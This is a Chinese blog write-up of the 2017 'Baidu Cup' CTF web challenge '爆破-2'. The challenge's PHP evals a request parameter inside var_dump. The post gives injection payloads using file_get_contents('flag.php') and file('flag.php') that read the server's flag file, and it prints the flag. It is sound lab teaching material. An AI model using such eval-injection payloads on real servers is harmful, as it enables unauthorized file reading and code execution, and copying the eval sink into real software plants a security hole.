

# “百度杯”CTF比赛 2017 二月场--web 爆破-2 writeup

原创

会下雪的晴天 于 2019-06-14 15:19:26 发布 447 收藏 2

分类专栏: [CTF做题记录](#)

会下雪的晴天

本文链接: [https://blog.csdn.net/weixin\\_43578492/article/details/91977158](https://blog.csdn.net/weixin_43578492/article/details/91977158)

版权



[CTF做题记录](#) 专栏收录该内容

33 篇文章 1 订阅

订阅专栏

## 题目描述

“百度杯” CTF比赛 2017 二月场

分值: 10分 类型: Misc Web 题目名称: 爆破-2

已解答

题目内容: flag不在变量中。

<http://075e4a43a97a4ca8b1cbe303c30684f69f230abaed29489f.changame.ichunqiu.com>

00 : 54 : 33

延长时间(3)

重新创建

Flag:

提交

解题排名: [1 青海长云](#) [2 icq\\_null](#) [3 执念于心](#)

[https://blog.csdn.net/weixin\\_43578492](https://blog.csdn.net/weixin_43578492)

## 解题思路

点击链接得到以下代码:

```
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```

1. 尝试将hello变为全局变量（GOLBALS）

在URL后加 `?hello=$GOLBALS`

结果:

```
NULL <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```

## 得到FLAG

2. 由第一步可知，flag不在变量中

猜测flag在文件中，使用file\_get\_contents() 函数，其作用为把整个文件读入一个字符串中。

`URL?hello=file_get_contents('flag.php')` 右键源码得到flag

```
string(83) "<?php
$flag = 'Too Young Too Simple';
#flag{b9d4eef1-7058-4ebe-8457-1a98996c199f};"
```

3. 也可在URL后直接加 `?hello=file('flag.php')`

file() 函数把整个文件读入一个数组中

```
array(3) { [0]=> string(6) " string(32) "$flag = 'Too Young Too Simple'; " [2]=> string(45) "#flag{b9d4eef1-7058-4ebe-8457-1a98996c199f}; " } <?php
```